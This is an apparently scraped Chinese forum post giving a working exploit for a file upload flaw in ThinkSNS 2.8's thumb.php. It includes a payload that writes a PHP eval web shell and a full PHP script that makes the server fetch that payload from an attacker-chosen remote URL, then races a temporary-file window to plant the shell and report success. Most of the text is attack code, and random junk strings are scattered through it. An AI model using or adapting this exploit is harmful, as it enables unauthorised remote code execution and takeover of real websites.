Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
  K/ v- q& `1 c, _: f. W漏洞文件
9 b. t2 }$ [8 F( m0 z存在漏洞的文件为：thumb.php
  D0 q1 p4 }0 t  x作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
9 E5 I6 V/ Y/ W4 f文件内容如下：
3 F# k# s8 z( p! [. \/ T<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
/ d/ A" k# f3 P' _: K  i2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
0 k' F( p  U  E8 i! L2 z
3、        上传临时文件。
4、        访问临时文件。
' @# y& f" \0 w( s但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
8 R% A4 ]9 @4 |6 aExploit文件内容如下：（这个我就不详细解释了）
<?php
# p% V7 L+ w# c. p& ^error_reporting(0);
: G3 l  u8 H% C" p( W, ?& Tset_time_limit(0);
# {* m1 @+ M& Z1 [. U' aini_set(“default_socket_timeout”, 5);
1 u6 [9 o; b! g6 l/ q& a5 M7 [$ dfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
# o* m0 W6 g" P% ?, {" d2 n( Afputs($fp, $headers);
return $fp;
/ {) a, {1 \  t) ~3 x}
+ r6 w0 }' t1 J& M6 z" ~6 Zfunction http_recv($fp) {
; b1 I) N, i5 y, T2 I/ v$ret=”";
+ Z' m+ x/ [/ `  t3 dwhile (!feof($fp))
$ret.= fgets($fp, 1024);
2 B) ?3 c2 f. Sfclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
8 C% g" \& l% M. xprint “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
6 Q7 t$ M+ n. B: y) ?+ G, g6 V  l}
$host = $argv[1];
0 f3 n$ j! Y4 N! u$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
5 R% m8 T: n. p$ @$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
  g. ^1 j+ i7 h8 T$headers_up .= “Host: “.$host.”\r\n”;
/ a0 F! k! E( A3 T1 Q, V4 x$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
! f9 }: m# p8 y1 H* `, r; ^//临时文件访问数据包
# x4 x9 j4 N$ `$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
# N  _; F7 `+ L& Z  `0 fecho $headers;
1 u8 g1 O$ q/ r! J+ ]$ t9 {) |4 hwhile(++$i<10) {
fclose(http_send($host, 80, $headers));
}
3 g* s1 F' d5 H: {: Qfclose(http_send($host, 80, $headers_up));
; P$ y8 S" s/ _# H  v. h. n/ |7 swhile(++$i<50) {
fclose(http_send($host, 80, $headers));
( U, m9 |2 `* `  L; h9 Q}
. A$ L+ \5 Y$ X6 X& J2 e9 E6 t$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
; S! H3 S. w  c$ `, xprint “Success!\n\n”;
} else {
print “Fail!\n\n”;
}
?>
​